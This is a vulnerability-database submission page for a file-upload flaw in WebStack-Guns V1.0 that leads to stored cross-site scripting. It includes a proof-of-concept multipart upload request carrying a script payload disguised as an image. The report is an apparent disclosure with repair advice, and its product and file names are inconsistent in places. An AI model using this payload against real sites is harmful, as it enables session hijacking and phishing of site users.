إرسال #580744: jsnjfz WebStack-Guns V1.0 Unrestricted Uploadالمعلومات

عنوانjsnjfz WebStack-Guns V1.0 Unrestricted Upload
الوصفArbitrary File Upload vulnerability in WebStack-Guns allows leads to Stored Cross-Site Scripting via # NAME OF AFFECTED PRODUCT(S) - WebStack-Guns ## Vendor Homepage https://github.com/jsnjfz/WebStack-Guns # AFFECTED AND/OR FIXED VERSION(S) ## submitter - aiyakami,Yveslawtox,luokuang1 ## Vulnerable File - UserMgrController.java ## VERSION(S) - V1.0 ## Software Link - https://github.com/jsnjfz/WebStack-Guns # PROBLEM TYPE ## Vulnerability Type - Arbitrary File Upload → Stored XSS ## Root Cause - The file upload feature in newbee-mall fails to properly validate file content types and extensions (e.g., .svg, .html). Attackers can upload malicious files containing JavaScript code, which are then rendered by victims' browsers, leading to persistent Cross-Site Scripting (XSS). ## Impact - Attackers can upload malicious files disguised as images, which, when rendered by the application or accessed by users, execute arbitrary JavaScript in their browsers. #Successful exploitation can lead to: - Session hijacking (stealing cookies via document.cookie). - Phishing attacks (fake login forms injected via XSS). - Defacement (modifying website content to display false information). - Malware distribution (redirecting users to malicious sites). # DESCRIPTION - During a security review of WebStack-Guns, a critical arbitrary file upload vulnerability was discovered in UploadController.java. The issue arises due to inadequate file validation, allowing attackers to upload malicious files that bypass security checks. # Vulnerability details and POC ## Vulnerability lonameion: - **`UserMgrController.java`** ## Payload: Example: An attacker uploads an html file containing <script>alert(1)</script>, which executes when rendered in a browser. ``` POST /mgr/upload HTTP/1.1 Host: localhost:8000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt0ZgwC0YZBLSexhj Referer: http://localhost:8000/site/site_update/1 sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99" Sec-Fetch-Mode: cors Cookie: rememberMe=crk7GATbuIjXmQlYi6/e/yL1QoxhQqjKHa4P/HhiuW1VUIjIuh675SKVojnNV3XQ2rFhYG4mLmETBP964jFEznzP2nIwhEpc60WQfVLKbvEdZKZ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-Fetch-Dest: empty sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36 Accept-Language: zh-CN,zh;q=0.9 Accept: */* Accept-Encoding: gzip, deflate, br, zstd Content-Length: 747 ------WebKitFormBoundaryt0ZgwC0YZBLSexhj Content-Disposition: form-data; name="id" WU_FILE_3 ------WebKitFormBoundaryt0ZgwC0YZBLSexhj Content-Disposition: form-data; name="name" 2.png ------WebKitFormBoundaryt0ZgwC0YZBLSexhj Content-Disposition: form-data; name="type" image/png ------WebKitFormBoundaryt0ZgwC0YZBLSexhj Content-Disposition: form-data; name="lastModifiedDate" Mon May 19 2025 22:38:28 GMT+0800 (中国标准时间) ------WebKitFormBoundaryt0ZgwC0YZBLSexhj Content-Disposition: form-data; name="size" 25 ------WebKitFormBoundaryt0ZgwC0YZBLSexhj Content-Disposition: form-data; name="file"; filename="2.html" Content-Type: image/png <script>alert(1)</script> ------WebKitFormBoundaryt0ZgwC0YZBLSexhj-- ``` ## The following are screenshots of some specific information obtained from testing and running with the yakit tool: # Suggested repair 1. **Strict File Extension Whitelisting** Only allow safe extensions (e.g., .jpg, .png, .gif) and reject dangerous ones (e.g., .svg, .html, .php).
المصدر⚠️ https://github.com/Aiyakami/CVE-1/issues/4
المستخدم
 aiyakami (UID 85128)
ارسال19/05/2025 04:51 PM (1 سنة منذ)
الاعتدال09/06/2025 08:10 AM (21 days later)
الحالةتمت الموافقة
إدخال VulDB311658 [jsnjfz WebStack-Guns 1.0 File Upload UserMgrController.java file البرمجة عبر المواقع]
النقاط20

Do you need the next level of professionalism?

Upgrade your account now!